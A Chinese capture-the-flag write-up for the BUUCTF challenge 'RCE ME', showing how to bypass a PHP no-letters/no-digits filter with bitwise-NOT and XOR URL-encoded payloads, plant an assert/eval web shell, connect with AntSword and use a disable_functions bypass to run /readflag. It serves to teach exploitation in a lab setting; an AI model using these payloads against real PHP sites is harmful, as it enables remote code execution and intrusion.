当前位置: 代码迷 >> 综合 >> 【代码审计】buu_[极客大挑战 2019]RCE ME
  详细解决方案

【代码审计】buu_[极客大挑战 2019]RCE ME

热度:13   发布时间:2024-01-19 13:26:23.0

1.代码审计发现需要传入code参数,并且需要绕过数字和字母过滤后的正则:

2.首先构造查看phpinfo中所禁用的函数:

php -r "echo urlencode(~'phpinfo');"

#%8F%97%8F%96%91%99%90

使用~取反后的url进行编码时会将其编码为无法识别的字符,再在code传参时再次取反就可以绕过无字母无数字的过滤。

http://c1e50a2c-9d42-44ec-8781-ae37a0aa5e7d.node4.buuoj.cn:81/?code=(~%8F%97%8F%96%91%99%90)();

网上的其他payload:

详情参考:浅谈PHP代码执行中出现过滤限制的绕过执行方法_末初 · mochu7-CSDN博客

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

3.因为禁用了许多函数,但是可以使用assert函数构造payload:

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[cmd]))';
$d=urlencode(~$c);
echo $d;
?>

 4.使用蚁剑连接地址,发现根目录下存在两个flag相关文件,考虑使用readflag读取flag:

http://c1e50a2c-9d42-44ec-8781-ae37a0aa5e7d.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

网上的其他payload:

${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

5.在蚁剑的“插件市场”中下载安装绕过disable_functions这个插件,然后选择该插件:

6.选择模式为PHP7_GC_UAF,点击开始:

 7.读取flag:

/readflag